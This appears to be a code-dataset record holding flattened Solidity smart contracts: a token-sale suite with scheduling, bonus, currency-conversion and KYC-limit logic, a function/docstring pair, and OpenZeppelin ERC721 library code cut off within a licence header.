require(_amount != 0, "TOS06");
Investor storage investor = investorInternal(_investor);
uint256 investment = tokenInvestment(_investor, _amount);
require(investment != 0, "TOS07");
(uint256 invested, uint256 tokens) = evalInvestmentInternal(investment);
if (_exactAmountOnly) {
require(invested == _amount, "TOS08");
} else {
uint256 unspentETH = evalUnspentETHInternal(investor, invested);
totalUnspentETH_ = totalUnspentETH_.sub(investor.unspentETH).add(unspentETH);
investor.unspentETH = unspentETH;
}
investor.invested = investor.invested.add(invested);
investor.tokens = investor.tokens.add(tokens);
totalRaised_ = totalRaised_.add(invested);
totalTokensSold_ = totalTokensSold_.add(tokens);
emit Investment(_investor, invested, tokens);
/* Reentrancy risks: No state change must come below */
distributeTokensInternal(_investor, tokens);
uint256 balance = address(this).balance;
uint256 withdrawableETH = balance.sub(totalUnspentETH_);
if (withdrawableETH != 0) {
withdrawETHInternal(withdrawableETH);
}
}
}
// File: contracts/tokensale/SchedulableTokensale.sol
pragma solidity >=0.5.0 <0.6.0;
/**
* @title SchedulableTokensale
* @dev SchedulableTokensale contract
*
* @author Cyril Lapinte - <cyril.lapinte@openfiz.com>
*
* Error messages
* STS01: It must be before the sale is opened
* STS02: Sale must be open
* STS03: It must be before the sale is closed
* STS04: It must be after the sale is closed
* STS05: It must start before it ends.
*/
contract SchedulableTokensale is BaseTokensale {
uint256 internal startAt = ~uint256(0);
uint256 internal endAt = ~uint256(0);
bool internal closed;
event Schedule(uint256 startAt, uint256 endAt);
event CloseEarly();
/**
* @dev Throws if sale is not open
*/
modifier beforeSaleIsOpened {
require(currentTime() < startAt && !closed, "STS01");
_;
}
/**
* @dev Throws if sale is not open
*/
modifier saleIsOpened {
require(
currentTime() >= startAt
&& currentTime() <= endAt
&& !closed, "STS02"
);
_;
}
/**
* @dev Throws once the sale is closed
*/
modifier beforeSaleIsClosed {
require(currentTime() <= endAt && !closed, "STS03");
_;
}
/**
* @dev Throws once the sale is closed
*/
modifier afterSaleIsClosed {
require(isClosed(), "STS04");
_;
}
/**
* @dev constructor
*/
constructor(
IERC20 _token,
address _vaultERC20,
address payable _vaultETH,
uint256 _tokenPrice,
uint256 _priceUnit
) public
BaseTokensale(_token, _vaultERC20, _vaultETH, _tokenPrice, _priceUnit)
{} /* solhint-disable no-empty-blocks */
/**
* @dev schedule
*/
function schedule() public view returns (uint256, uint256) {
return (startAt, endAt);
}
/**
* @dev isClosed
*/
function isClosed() public view returns (bool) {
return currentTime() > endAt || closed;
}
/**
* @dev update schedule
*/
function updateSchedule(uint256 _startAt, uint256 _endAt)
public onlyOperator beforeSaleIsOpened
{
require(_startAt < _endAt, "STS05");
startAt = _startAt;
endAt = _endAt;
emit Schedule(_startAt, _endAt);
}
/**
* @dev close sale
*/
function closeEarly()
public onlyOperator beforeSaleIsClosed
{
closed = true;
emit CloseEarly();
}
/* Investment */
function investInternal(address _investor, uint256 _amount, bool _exactAmountOnly) internal
saleIsOpened
{
super.investInternal(_investor, _amount, _exactAmountOnly);
}
/* Util */
/**
* @dev current time
*/
function currentTime() internal view returns (uint256) {
// solhint-disable-next-line not-rely-on-time
return now;
}
}
// File: contracts/tokensale/BonusTokensale.sol
pragma solidity >=0.5.0 <0.6.0;
/**
* @title BonusTokensale
* @dev BonusTokensale contract
*
* @author Cyril Lapinte - <cyril.lapinte@openfiz.com>
*
* Error messages
* BT01: There must have the same number of bonuses and bonusUntils
* BT02: There must be some bonuses
* BT03: There cannot be too many bonuses
* BT04: BonusUntils must be declared in a progressive order
* BT05: There cannot be bonuses with a NONE bonus mode
**/
contract BonusTokensale is SchedulableTokensale {
enum BonusMode { NONE, EARLY, FIRST }
uint256 constant MAX_BONUSES = 10;
BonusMode internal bonusMode_ = BonusMode.NONE;
uint256[] internal bonusUntils_;
uint256[] internal bonuses_;
event BonusesDefined(uint256[] bonuses, BonusMode bonusMode, uint256[] bonusUntils);
/**
* @dev constructor
*/
constructor(
IERC20 _token,
address _vaultERC20,
address payable _vaultETH,
uint256 _tokenPrice,
uint256 _priceUnit
) public
SchedulableTokensale(_token,
_vaultERC20, _vaultETH, _tokenPrice, _priceUnit)
{} /* solhint-disable no-empty-blocks */
/**
* @dev bonuses
*/
function bonuses() public view returns (BonusMode, uint256[] memory, uint256[] memory) {
return (bonusMode_, bonuses_, bonusUntils_);
}
/**
* @dev early bonus
*/
function earlyBonus(uint256 _currentTime)
public view returns (uint256 bonus, uint256 remainingAtBonus)
{
if (bonusMode_ != BonusMode.EARLY
|| _currentTime < startAt || _currentTime > endAt) {
return (uint256(0), uint256(-1));
}
for(uint256 i=0; i < bonusUntils_.length; i++) {
if (_currentTime <= bonusUntils_[i]) {
return (bonuses_[i], uint256(-1));
}
}
return (uint256(0), uint256(-1));
}
/**
* @dev first bonus
*/
function firstBonus(uint256 _tokensSold)
public view returns (uint256 bonus, uint256 remainingAtBonus)
{
if (bonusMode_ != BonusMode.FIRST) {
return (uint256(0), uint256(-1));
}
for(uint256 i=0; i < bonusUntils_.length; i++) {
if (_tokensSold < bonusUntils_[i]) {
return (bonuses_[i], bonusUntils_[i]-_tokensSold);
}
}
return (uint256(0), uint256(-1));
}
/**
* @dev define bonus
*/
function defineBonuses(
BonusMode _bonusMode,
uint256[] memory _bonuses,
uint256[] memory _bonusUntils)
public onlyOperator beforeSaleIsOpened returns (bool)
{
require(_bonuses.length == _bonusUntils.length, "BT01");
if (_bonusMode != BonusMode.NONE) {
require(_bonusUntils.length > 0, "BT02");
require(_bonusUntils.length < MAX_BONUSES, "BT03");
uint256 bonusUntil =
(_bonusMode == BonusMode.EARLY) ? startAt : 0;
for(uint256 i=0; i < _bonusUntils.length; i++) {
require(_bonusUntils[i] > bonusUntil, "BT04");
bonusUntil = _bonusUntils[i];
}
} else {
require(_bonusUntils.length == 0, "BT05");
}
bonuses_ = _bonuses;
bonusMode_ = _bonusMode;
bonusUntils_ = _bonusUntils;
emit BonusesDefined(_bonuses, _bonusMode, _bonusUntils);
return true;
}
/**
* @dev current bonus
*/
function tokenBonus(uint256 _tokens)
public view returns (uint256 tokenBonus_)
{
uint256 bonus;
uint256 remainingAtBonus;
uint256 unprocessed = _tokens;
do {
if(bonusMode_ == BonusMode.EARLY) {
(bonus, remainingAtBonus) = earlyBonus(currentTime());
}
if(bonusMode_ == BonusMode.FIRST) {
(bonus, remainingAtBonus) =
firstBonus(totalTokensSold_+_tokens-unprocessed);
}
uint256 tokensAtCurrentBonus =
(unprocessed < remainingAtBonus) ? unprocessed : remainingAtBonus;
tokenBonus_ += bonus.mul(tokensAtCurrentBonus).div(100);
unprocessed -= tokensAtCurrentBonus;
} while(bonus > 0 && unprocessed > 0 && remainingAtBonus > 0);
}
/**
* @dev eval investment internal
*/
function evalInvestmentInternal(uint256 _tokens)
internal view returns (uint256, uint256)
{
(uint256 invested, uint256 tokens) = super.evalInvestmentInternal(_tokens);
uint256 bonus = tokenBonus(tokens);
return (invested, tokens.add(bonus));
}
}
// File: contracts/interface/IRatesProvider.sol
pragma solidity >=0.5.0 <0.6.0;
/**
* @title IRatesProvider
* @dev IRatesProvider interface
*
* @author Cyril Lapinte - <cyril.lapinte@openfiz.com>
*/
contract IRatesProvider {
function defineRatesExternal(uint256[] calldata _rates) external returns (bool);
function name() public view returns (string memory);
function rate(bytes32 _currency) public view returns (uint256);
function currencies() public view
returns (bytes32[] memory, uint256[] memory, uint256);
function rates() public view returns (uint256, uint256[] memory);
function convert(uint256 _amount, bytes32 _fromCurrency, bytes32 _toCurrency)
public view returns (uint256);
function defineCurrencies(
bytes32[] memory _currencies,
uint256[] memory _decimals,
uint256 _rateOffset) public returns (bool);
function defineRates(uint256[] memory _rates) public returns (bool);
event RateOffset(uint256 rateOffset);
event Currencies(bytes32[] currencies, uint256[] decimals);
event Rate(bytes32 indexed currency, uint256 rate);
}
// File: contracts/tokensale/ChangeTokensale.sol
pragma solidity >=0.5.0 <0.6.0;
/**
* @title ChangeTokensale
* @dev ChangeTokensale contract
*
* @author Cyril Lapinte - <cyril.lapinte@openfiz.com>
*
* Error messages
* CTS01: message value must be positive
* CTS02: No investment after currency change.
*/
contract ChangeTokensale is BaseTokensale {
bytes32 internal baseCurrency_;
IRatesProvider internal ratesProvider_;
uint256 internal totalReceivedETH_;
/* Investment */
function investETH() public payable
{
require(msg.value > 0, "CTS01");
totalReceivedETH_ = totalReceivedETH_.add(msg.value);
Investor storage investor = investorInternal(msg.sender);
uint256 amountETH = investor.unspentETH.add(msg.value);
uint256 amountCurrency =
ratesProvider_.convert(amountETH, "ETH", baseCurrency_);
require(amountCurrency > 0, "CTS02");
investInternal(msg.sender, amountCurrency, false);
}
/**
* @dev returns baseCurrency
*/
function baseCurrency() public view returns (bytes32) {
return baseCurrency_;
}
/**
* @dev returns ratesProvider
*/
function ratesProvider() public view returns (IRatesProvider) {
return ratesProvider_;
}
/**
* @dev returns totalRaisedETH
*/
function totalRaisedETH() public view returns (uint256) {
return totalReceivedETH_.sub(totalUnspentETH_).sub(totalRefundedETH_);
}
/**
* @dev returns totalReceivedETH
*/
function totalReceivedETH() public view returns (uint256) {
return totalReceivedETH_;
}
/**
* @dev add offchain investment
*/
function addOffchainInvestment(address _investor, uint256 _amount)
public onlyOperator returns (bool)
{
investInternal(_investor, _amount, true);
return true;
}
/**
* @dev eval unspent ETH
*/
function evalUnspentETHInternal(
Investor storage _investor, uint256 _invested
) internal view returns (uint256)
{
uint256 investedETH =
ratesProvider_.convert(_invested, baseCurrency_, "ETH");
return super.evalUnspentETHInternal(_investor, investedETH);
}
}
// File: contracts/interface/IUserRegistry.sol
pragma solidity >=0.5.0 <0.6.0;
/**
* @title IUserRegistry
* @dev IUserRegistry interface
* @author Cyril Lapinte - <cyril.lapinte@openfiz.com>
**/
contract IUserRegistry {
event UserRegistered(uint256 indexed userId, address address_, uint256 validUntilTime);
event AddressAttached(uint256 indexed userId, address address_);
event AddressDetached(uint256 indexed userId, address address_);
event UserSuspended(uint256 indexed userId);
event UserRestored(uint256 indexed userId);
event UserValidity(uint256 indexed userId, uint256 validUntilTime);
event UserExtendedKey(uint256 indexed userId, uint256 key, uint256 value);
event UserExtendedKeys(uint256 indexed userId, uint256[] values);
event ExtendedKeysDefinition(uint256[] keys);
function registerManyUsersExternal(address[] calldata _addresses, uint256 _validUntilTime)
external returns (bool);
function registerManyUsersFullExternal(
address[] calldata _addresses,
uint256 _validUntilTime,
uint256[] calldata _values) external returns (bool);
function attachManyAddressesExternal(uint256[] calldata _userIds, address[] calldata _addresses)
external returns (bool);
function detachManyAddressesExternal(address[] calldata _addresses)
external returns (bool);
function suspendManyUsersExternal(uint256[] calldata _userIds) external returns (bool);
function restoreManyUsersExternal(uint256[] calldata _userIds) external returns (bool);
function updateManyUsersExternal(
uint256[] calldata _userIds,
uint256 _validUntilTime,
bool _suspended) external returns (bool);
function updateManyUsersExtendedExternal(
uint256[] calldata _userIds,
uint256 _key, uint256 _value) external returns (bool);
function updateManyUsersAllExtendedExternal(
uint256[] calldata _userIds,
uint256[] calldata _values) external returns (bool);
function updateManyUsersFullExternal(
uint256[] calldata _userIds,
uint256 _validUntilTime,
bool _suspended,
uint256[] calldata _values) external returns (bool);
function name() public view returns (string memory);
function currency() public view returns (bytes32);
function userCount() public view returns (uint256);
function userId(address _address) public view returns (uint256);
function validUserId(address _address) public view returns (uint256);
function validUser(address _address, uint256[] memory _keys)
public view returns (uint256, uint256[] memory);
function validity(uint256 _userId) public view returns (uint256, bool);
function extendedKeys() public view returns (uint256[] memory);
function extended(uint256 _userId, uint256 _key)
public view returns (uint256);
function manyExtended(uint256 _userId, uint256[] memory _key)
public view returns (uint256[] memory);
function isAddressValid(address _address) public view returns (bool);
function isValid(uint256 _userId) public view returns (bool);
function defineExtendedKeys(uint256[] memory _extendedKeys) public returns (bool);
function registerUser(address _address, uint256 _validUntilTime)
public returns (bool);
function registerUserFull(
address _address,
uint256 _validUntilTime,
uint256[] memory _values) public returns (bool);
function attachAddress(uint256 _userId, address _address) public returns (bool);
function detachAddress(address _address) public returns (bool);
function detachSelf() public returns (bool);
function detachSelfAddress(address _address) public returns (bool);
function suspendUser(uint256 _userId) public returns (bool);
function restoreUser(uint256 _userId) public returns (bool);
function updateUser(uint256 _userId, uint256 _validUntilTime, bool _suspended)
public returns (bool);
function updateUserExtended(uint256 _userId, uint256 _key, uint256 _value)
public returns (bool);
function updateUserAllExtended(uint256 _userId, uint256[] memory _values)
public returns (bool);
function updateUserFull(
uint256 _userId,
uint256 _validUntilTime,
bool _suspended,
uint256[] memory _values) public returns (bool);
}
// File: contracts/tokensale/UserTokensale.sol
pragma solidity >=0.5.0 <0.6.0;
/**
* @title UserTokensale
* @dev UserTokensale contract
*
* @author Cyril Lapinte - <cyril.lapinte@openfiz.com>
*
* Error messages
*/
contract UserTokensale is ChangeTokensale {
uint256[] public extendedKeys = [ 0, 1 ]; // KYC Level and AML Limit
// Default investment based on the KYC Level.
// Example [ 0, 300000, 1500000, 10000000, 100000000 ];
uint256[] internal contributionLimits_ = new uint256[](0);
mapping(uint256 => Investor) internal investorIds;
IUserRegistry internal userRegistry_;
/**
* @dev define contributionLimits
*/
function defineContributionLimits(uint256[] memory _contributionLimits)
public onlyOperator returns (bool)
{
contributionLimits_ = _contributionLimits;
emit ContributionLimits(_contributionLimits);
return true;
}
/**
* @dev contributionsLimit
*/
function contributionLimits() public view returns (uint256[] memory) {
return contributionLimits_;
}
/**
* @dev user registry
*/
function userRegistry() public view returns (IUserRegistry) {
return userRegistry_;
}
function registredInvestorUnspentETH(uint256 _investorId)
public view returns (uint256)
{
return investorIds[_investorId].unspentETH;
}
function registredInvestorInvested(uint256 _investorId)
public view returns (uint256)
{
return investorIds[_investorId].invested;
}
function registredInvestorTokens(uint256 _investorId)
public view returns (uint256)
{
return investorIds[_investorId].tokens;
}
function investorCount()
public view returns (uint256)
{
return userRegistry_.userCount();
}
/**
* @dev contributionLimit
*/
function contributionLimit(uint256 _investorId)
public view returns (uint256)
{
uint256 amlLimit = 0;
uint256[] memory extended = userRegistry_.manyExtended(_investorId, extendedKeys);
uint256 kycLevel = extended[0];
uint256 baseAmlLimit = extended[1];
if (baseAmlLimit > 0) {
amlLimit = ratesProvider_.convert(
baseAmlLimit, userRegistry_.currency(), baseCurrency_);
}
if (amlLimit == 0 && kycLevel < contributionLimits_.length) {
amlLimit = contributionLimits_[kycLevel];
}
return amlLimit.sub(investorIds[_investorId].invested);
}
/**
* @dev tokenInvestment
*/
function tokenInvestment(address _investor, uint256 _amount)
public view returns (uint256)
{
uint256 investorId = userRegistry_.validUserId(_investor);
uint256 amlLimit = contributionLimit(investorId);
return super.tokenInvestment(_investor, (_amount < amlLimit) ? _amount : amlLimit);
}
/**
* @dev investor internal
*/
function investorInternal(address _investor)
internal view returns (Investor storage)
{
return investorIds[userRegistry_.userId(_investor)];
}
event ContributionLimits(uint256[] contributionLimits);
}
// File: contracts/Tokensale.sol
pragma solidity >=0.5.0 <0.6.0;
/**
* @title Tokensale
* @dev Tokensale contract
*
* @author Cyril Lapinte - <cyril.lapinte@openfiz.com>
*
* Error messages
*/
contract Tokensale is UserTokensale, BonusTokensale {
/**
* @dev constructor
*/
constructor(
IERC20 _token,
address _vaultERC20,
address payable _vaultETH,
uint256 _tokenPrice,
uint256 _priceUnit,
bytes32 _baseCurrency,
IUserRegistry _userRegistry,
IRatesProvider _ratesProvider,
uint256 _start,
uint256 _end
) public
BonusTokensale(_token,
_vaultERC20, _vaultETH, _tokenPrice, _priceUnit)
{
baseCurrency_ = _baseCurrency;
userRegistry_ = _userRegistry;
ratesProvider_ = _ratesProvider;
updateSchedule(_start, _end);
}
}
|
* @dev distribute tokens internal/
|
function distributeTokensInternal(address _investor, uint256 _tokens) internal {
require(
token_.transferFrom(vaultERC20_, _investor, _tokens),
"TOS04");
}
| 12,886,925
|
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pragma solidity ^0.4.24;
// File: openzeppelin-solidity/contracts/introspection/IERC165.sol
/**
* @title IERC165
* @dev https://github.com/ethereum/EIPs/blob/master/EIPS/eip-165.md
*/
interface IERC165 {
/**
* @notice Query if a contract implements an interface
* @param interfaceId The interface identifier, as specified in ERC-165
* @dev Interface identification is specified in ERC-165. This function
* uses less than 30,000 gas.
*/
function supportsInterface(bytes4 interfaceId)
external
view
returns (bool);
}
// File: openzeppelin-solidity/contracts/introspection/ERC165.sol
/**
* @title ERC165
* @author Matt Condon (@shrugs)
* @dev Implements ERC165 using a lookup table.
*/
contract ERC165 is IERC165 {
bytes4 private constant _InterfaceId_ERC165 = 0x01ffc9a7;
/**
* 0x01ffc9a7 ===
* bytes4(keccak256('supportsInterface(bytes4)'))
*/
/**
* @dev a mapping of interface id to whether or not it's supported
*/
mapping(bytes4 => bool) private _supportedInterfaces;
/**
* @dev A contract implementing SupportsInterfaceWithLookup
* implement ERC165 itself
*/
constructor()
internal
{
_registerInterface(_InterfaceId_ERC165);
}
/**
* @dev implement supportsInterface(bytes4) using a lookup table
*/
function supportsInterface(bytes4 interfaceId)
external
view
returns (bool)
{
return _supportedInterfaces[interfaceId];
}
/**
* @dev internal method for registering an interface
*/
function _registerInterface(bytes4 interfaceId)
internal
{
require(interfaceId != 0xffffffff);
_supportedInterfaces[interfaceId] = true;
}
}
// File: openzeppelin-solidity/contracts/token/ERC721/IERC721.sol
/**
* @title ERC721 Non-Fungible Token Standard basic interface
* @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract IERC721 is IERC165 {
event Transfer(
address indexed from,
address indexed to,
uint256 indexed tokenId
);
event Approval(
address indexed owner,
address indexed approved,
uint256 indexed tokenId
);
event ApprovalForAll(
address indexed owner,
address indexed operator,
bool approved
);
function balanceOf(address owner) public view returns (uint256 balance);
function ownerOf(uint256 tokenId) public view returns (address owner);
function approve(address to, uint256 tokenId) public;
function getApproved(uint256 tokenId)
public view returns (address operator);
function setApprovalForAll(address operator, bool _approved) public;
function isApprovedForAll(address owner, address operator)
public view returns (bool);
function transferFrom(address from, address to, uint256 tokenId) public;
function safeTransferFrom(address from, address to, uint256 tokenId)
public;
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes data
)
public;
}
// File: openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
contract IERC721Receiver {
/**
* @notice Handle the receipt of an NFT
* @dev The ERC721 smart contract calls this function on the recipient
* after a `safeTransfer`. This function MUST return the function selector,
* otherwise the caller will revert the transaction. The selector to be
* returned can be obtained as `this.onERC721Received.selector`. This
* function MAY throw to revert and reject the transfer.
* Note: the ERC721 contract address is always the message sender.
* @param operator The address which called `safeTransferFrom` function
* @param from The address which previously owned the token
* @param tokenId The NFT identifier which is being transferred
* @param data Additional data with no specified format
* @return `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes data
)
public
returns(bytes4);
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
// File: openzeppelin-solidity/contracts/utils/Address.sol
/**
* Utility library of inline functions on addresses
*/
library Address {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param account address of the account to check
* @return whether the target address is a contract
*/
function isContract(address account) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solium-disable-next-line security/no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
// File: openzeppelin-solidity/contracts/token/ERC721/ERC721.sol
/**
* @title ERC721 Non-Fungible Token Standard basic implementation
* @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721 is ERC165, IERC721 {
using SafeMath for uint256;
using Address for address;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from token ID to owner
mapping (uint256 => address) private _tokenOwner;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to number of owned token
mapping (address => uint256) private _ownedTokensCount;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
bytes4 private constant _InterfaceId_ERC721 = 0x80ac58cd;
/*
* 0x80ac58cd ===
* bytes4(keccak256('balanceOf(address)')) ^
* bytes4(keccak256('ownerOf(uint256)')) ^
* bytes4(keccak256('approve(address,uint256)')) ^
* bytes4(keccak256('getApproved(uint256)')) ^
* bytes4(keccak256('setApprovalForAll(address,bool)')) ^
* bytes4(keccak256('isApprovedForAll(address,address)')) ^
* bytes4(keccak256('transferFrom(address,address,uint256)')) ^
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) ^
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)'))
*/
constructor()
public
{
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_InterfaceId_ERC721);
}
/**
* @dev Gets the balance of the specified address
* @param owner address to query the balance of
* @return uint256 representing the amount owned by the passed address
*/
function balanceOf(address owner) public view returns (uint256) {
require(owner != address(0));
return _ownedTokensCount[owner];
}
/**
* @dev Gets the owner of the specified token ID
* @param tokenId uint256 ID of the token to query the owner of
* @return owner address currently marked as the owner of the given token ID
*/
function ownerOf(uint256 tokenId) public view returns (address) {
address owner = _tokenOwner[tokenId];
require(owner != address(0));
return owner;
}
/**
* @dev Approves another address to transfer the given token ID
* The zero address indicates there is no approved address.
* There can only be one approved address per token at a given time.
* Can only be called by the token owner or an approved operator.
* @param to address to be approved for the given token ID
* @param tokenId uint256 ID of the token to be approved
*/
function approve(address to, uint256 tokenId) public {
address owner = ownerOf(tokenId);
require(to != owner);
require(msg.sender == owner || isApprovedForAll(owner, msg.sender));
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
/**
* @dev Gets the approved address for a token ID, or zero if no address set
* Reverts if the token ID does not exist.
* @param tokenId uint256 ID of the token to query the approval of
* @return address currently approved for the given token ID
*/
function getApproved(uint256 tokenId) public view returns (address) {
require(_exists(tokenId));
return _tokenApprovals[tokenId];
}
/**
* @dev Sets or unsets the approval of a given operator
* An operator is allowed to transfer all tokens of the sender on their behalf
* @param to operator address to set the approval
* @param approved representing the status of the approval to be set
*/
function setApprovalForAll(address to, bool approved) public {
require(to != msg.sender);
_operatorApprovals[msg.sender][to] = approved;
emit ApprovalForAll(msg.sender, to, approved);
}
/**
* @dev Tells whether an operator is approved by a given owner
* @param owner owner address which you want to query the approval of
* @param operator operator address which you want to query the approval of
* @return bool whether the given operator is approved by the given owner
*/
function isApprovedForAll(
address owner,
address operator
)
public
view
returns (bool)
{
return _operatorApprovals[owner][operator];
}
/**
* @dev Transfers the ownership of a given token ID to another address
* Usage of this method is discouraged, use `safeTransferFrom` whenever possible
* Requires the msg sender to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function transferFrom(
address from,
address to,
uint256 tokenId
)
public
{
require(_isApprovedOrOwner(msg.sender, tokenId));
require(to != address(0));
_clearApproval(from, tokenId);
_removeTokenFrom(from, tokenId);
_addTokenTo(to, tokenId);
emit Transfer(from, to, tokenId);
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
*
* Requires the msg sender to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
)
public
{
// solium-disable-next-line arg-overflow
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the msg sender to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes data to send along with a safe transfer check
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes _data
)
public
{
transferFrom(from, to, tokenId);
// solium-disable-next-line arg-overflow
require(_checkOnERC721Received(from, to, tokenId, _data));
}
/**
* @dev Returns whether the specified token exists
* @param tokenId uint256 ID of the token to query the existence of
* @return whether the token exists
*/
function _exists(uint256 tokenId) internal view returns (bool) {
address owner = _tokenOwner[tokenId];
return owner != address(0);
}
/**
* @dev Returns whether the given spender can transfer a given token ID
* @param spender address of the spender to query
* @param tokenId uint256 ID of the token to be transferred
* @return bool whether the msg.sender is approved for the given token ID,
* is an operator of the owner, or is the owner of the token
*/
function _isApprovedOrOwner(
address spender,
uint256 tokenId
)
internal
view
returns (bool)
{
address owner = ownerOf(tokenId);
// Disable solium check because of
// https://github.com/duaraghav8/Solium/issues/175
// solium-disable-next-line operator-whitespace
return (
spender == owner ||
getApproved(tokenId) == spender ||
isApprovedForAll(owner, spender)
);
}
/**
* @dev Internal function to mint a new token
* Reverts if the given token ID already exists
* @param to The address that will own the minted token
* @param tokenId uint256 ID of the token to be minted by the msg.sender
*/
function _mint(address to, uint256 tokenId) internal {
require(to != address(0));
_addTokenTo(to, tokenId);
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Internal function to burn a specific token
* Reverts if the token does not exist
* @param tokenId uint256 ID of the token being burned by the msg.sender
*/
function _burn(address owner, uint256 tokenId) internal {
_clearApproval(owner, tokenId);
_removeTokenFrom(owner, tokenId);
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Internal function to add a token ID to the list of a given address
* Note that this function is left internal to make ERC721Enumerable possible, but is not
* intended to be called by custom derived contracts: in particular, it emits no Transfer event.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenTo(address to, uint256 tokenId) internal {
require(_tokenOwner[tokenId] == address(0));
_tokenOwner[tokenId] = to;
_ownedTokensCount[to] = _ownedTokensCount[to].add(1);
}
/**
* @dev Internal function to remove a token ID from the list of a given address
* Note that this function is left internal to make ERC721Enumerable possible, but is not
* intended to be called by custom derived contracts: in particular, it emits no Transfer event,
* and doesn't clear approvals.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFrom(address from, uint256 tokenId) internal {
require(ownerOf(tokenId) == from);
_ownedTokensCount[from] = _ownedTokensCount[from].sub(1);
_tokenOwner[tokenId] = address(0);
}
/**
* @dev Internal function to invoke `onERC721Received` on a target address
* The call is not executed if the target address is not a contract
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes _data
)
internal
returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes4 retval = IERC721Receiver(to).onERC721Received(
msg.sender, from, tokenId, _data);
return (retval == _ERC721_RECEIVED);
}
/**
* @dev Private function to clear current approval of a given token ID
* Reverts if the given address is not indeed the owner of the token
* @param owner owner of the token
* @param tokenId uint256 ID of the token to be transferred
*/
function _clearApproval(address owner, uint256 tokenId) private {
require(ownerOf(tokenId) == owner);
if (_tokenApprovals[tokenId] != address(0)) {
_tokenApprovals[tokenId] = address(0);
}
}
}
// File: contracts/library/token/ERC721Manager.sol
/**
* @title ERC721Manager
*
* @dev This library implements OpenZepellin's ERC721 implementation (as of 7/31/2018) as
* an external library, in order to keep contract sizes smaller.
*
* Released under the MIT License.
*
*
* The MIT License (MIT)
*
* Copyright (c) 2016 Smart Contract Solutions, Inc.
*
* Permission is hereby granted, free of charge, to any person obtaining
* a copy of this software and associated documentation files (the
* "Software"), to deal in the Software without restriction, including
* without limitation the rights to use, copy, modify, merge, publish,
* distribute, sublicense, and/or sell copies of the Software, and to
* permit persons to whom the Software is furnished to do so, subject to
* the following conditions:
*
* The above copyright notice and this permission notice shall be included
* in all copies or substantial portions of the Software.
*
